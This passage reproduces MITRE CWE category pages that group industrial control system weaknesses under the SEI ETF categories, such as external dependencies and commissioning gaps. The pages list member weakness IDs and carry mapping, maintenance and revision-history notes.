HasMember CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 384 Session Fixation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 434 Unrestricted Upload of File with Dangerous Type
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 494 Download of Code Without Integrity Check
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 501 Trust Boundary Violation
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 754 Improper Check for Unusual or Exceptional Conditions
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 829 Inclusion of Functionality from Untrusted Control Sphere
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1263 Improper Physical Access Control
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1303 Non-Transparent Sharing of Microarchitectural Resources
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1393 Use of Default Password
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Communications. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-04-26 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
2023-06-29
(CWE 4.12, 2023-06-29) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
Back to top

CWE CATEGORY: ICS Dependencies (& Architecture)

Category ID: 1360
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "ICS Dependencies (& Architecture)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1358 Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1367 ICS Dependencies (& Architecture): External Physical Systems
HasMember CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Dependencies (& Architecture): External Digital Systems

Category ID: 1368
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "External Digital Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another digital system could cause a confidentiality, integrity, or availability incident for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1360 ICS Dependencies (& Architecture)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 15 External Control of System or Configuration Setting
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 308 Use of Single-factor Authentication
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 440 Expected Behavior Violation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 603 Use of Client-Side Authentication
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 638 Not Using Complete Mediation
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1068 Inconsistency Between Implementation and Documented Design
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1104 Use of Unmaintained Third Party Components
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1329 Reliance on Component That is Not Updateable
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1393 Use of Default Password
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Dependencies (& Architecture). 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24
(CWE 4.10, 2023-01-24) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
2023-06-29
(CWE 4.12, 2023-06-29) 		"Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
Back to top

CWE CATEGORY: ICS Dependencies (& Architecture): External Physical Systems

Category ID: 1367
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "External Physical Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another physical system could cause an availability interruption for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1360 ICS Dependencies (& Architecture)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1247 Improper Protection Against Voltage and Clock Glitches
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1338 Improper Protections Against Hardware Overheating
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Dependencies (& Architecture). 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Construction/Deployment): Gaps in Details/Data

Category ID: 1375
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Gaps in Details/Data" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Highly complex systems are often operated by personnel who have years of experience in managing that particular facility or plant. Much of their knowledge is passed along through verbal or hands-on training but may not be fully documented in written practices and procedures." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1362 ICS Engineering (Constructions/Deployment)
HasMember PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1053 Missing Documentation for Design
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1110 Incomplete Design Documentation
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1111 Incomplete I/O Documentation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category might be subject to CWE Scope Exclusion SCOPE.HUMANPROC (Human/organizational process).

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Gaps in Details/Data. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Construction/Deployment): Inherent Predictability in Design

Category ID: 1377
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Inherent Predictability in Design" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The commonality of design (in ICS/SCADA architectures) for energy systems and environments opens up the possibility of scaled compromise by leveraging the inherent predictability in the design." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1362 ICS Engineering (Constructions/Deployment)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1278 Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Inherent Predictability in Design. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Construction/Deployment): Maker Breaker Blindness

Category ID: 1374
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Maker Breaker Blindness" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Lack of awareness of deliberate attack techniques by people (vs failure modes from natural causes like weather or metal fatigue) may lead to insufficient security controls being built into ICS systems." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1362 ICS Engineering (Constructions/Deployment)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Maker Breaker Blindness. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Construction/Deployment): Security Gaps in Commissioning

Category ID: 1376
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Security Gaps in Commissioning" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "As a large system is brought online components of the system may remain vulnerable until the entire system is operating and functional and security controls are put in place. This creates a window of opportunity for an adversary during the commissioning process." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1362 ICS Engineering (Constructions/Deployment)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 276 Incorrect Default Permissions
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1393 Use of Default Password
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Notes

Relationship

Relationships in this category are not authoritative and subject to change. See Maintenance notes.

Maintenance

This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Security Gaps in Commissioning. 2022-03-09. <https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-03-09
(CWE 4.7, 2022-04-28) 		New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT) Securing Energy Infrastructure Executive Task Force
+ Contributions
Contribution Date Contributor Organization
2023-01-24 "Boosting CWE Content" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested weaknesses to add to this category.
+ Modifications
Modification Date Modifier Organization
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Relationship_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
Back to top

CWE CATEGORY: ICS Engineering (Construction/Deployment): Trust Model Problems

Category ID: 1373
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the "Trust Model Problems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Assumptions made about the user during the design or construction phase may result in vulnerabilities after the system is installed if the user operates it using a different security approach or process than what was designed or built." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
+ Membership
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1362 ICS Engineering (Constructions/Deployment)
